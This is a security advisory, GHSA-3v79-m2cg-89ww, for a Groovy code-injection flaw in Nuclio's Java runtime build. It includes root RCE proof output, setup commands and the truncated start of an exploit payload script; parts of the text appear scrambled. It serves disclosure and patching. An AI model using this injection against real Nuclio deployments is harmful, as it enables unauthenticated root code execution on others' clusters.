GHSA-3v79-m2cg-89ww Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE

• Go github.com/nuclio/nuclio: < 1.16.5 → fixed in 1.16.5

Summary Nuclio's Java runtime generates a `build.gradle` file during function builds using Go's `text/template` package. The template renders `runtimeAttributes.repositories[]` values with the `{{ . }}` action, which performs no escaping. An attacker can embed a closing brace (`}`) to break out of the `repositories {}` block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase. The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing: ``` [RCE-PROOF] uid=0(root) gid=0(root) groups=0(root) nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr root BUILD SUCCESSFUL in 512ms ``` • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection) • Affected versions: Nuclio /tmp/kind-vul006.yaml /tmp/nuclio-values.yaml <<'EOF' dashboard: enabled: true containerBuilderKind: "kaniko" monitorDockerDeamon: enabled: false image: pullPolicy: IfNotPresent kaniko: insecurePushRegistry: true insecurePullRegistry: true initContainerImage: busybox: repository: gcr.io/iguazio/alpine # substitute for busybox if Docker Hub rate-limited tag: "3.20" registry: pushPullUrl: "kind-registry:5000" controller: enabled: true image: pullPolicy: IfNotPresent rbac: create: true crdAccessMode: cluster EOF helm install nuclio ./hack/k8s/helm/nuclio \ --namespace nuclio \ --kube-context kind-vul-006 \ -f /tmp/nuclio-values.yaml \ --wait --timeout 120s ``` Expected output: ``` NAME: nuclio STATUS: deployed REVISION: 1 ``` 5. Expose the Dashboard and verify connectivity ```bash kubectl --context kind-vul-006 port-forward \ -n nuclio svc/nuclio-dashboard 8070:8070 & Wait for readiness sleep 5 curl -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n" Expected: HTTP 200 Create the default project required by the API curl -s -X POST http://localhost:8070/api/projects \ -H "Content-Type: application/json" \ -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{}}' ``` Exploitation Steps Step 1 — Send the malicious function definition The `runtimeAttributes.repositories` field accepts any string. Use Python to build a correctly escaped JSON payload: ```python import json, base64 Minimal valid Java handle…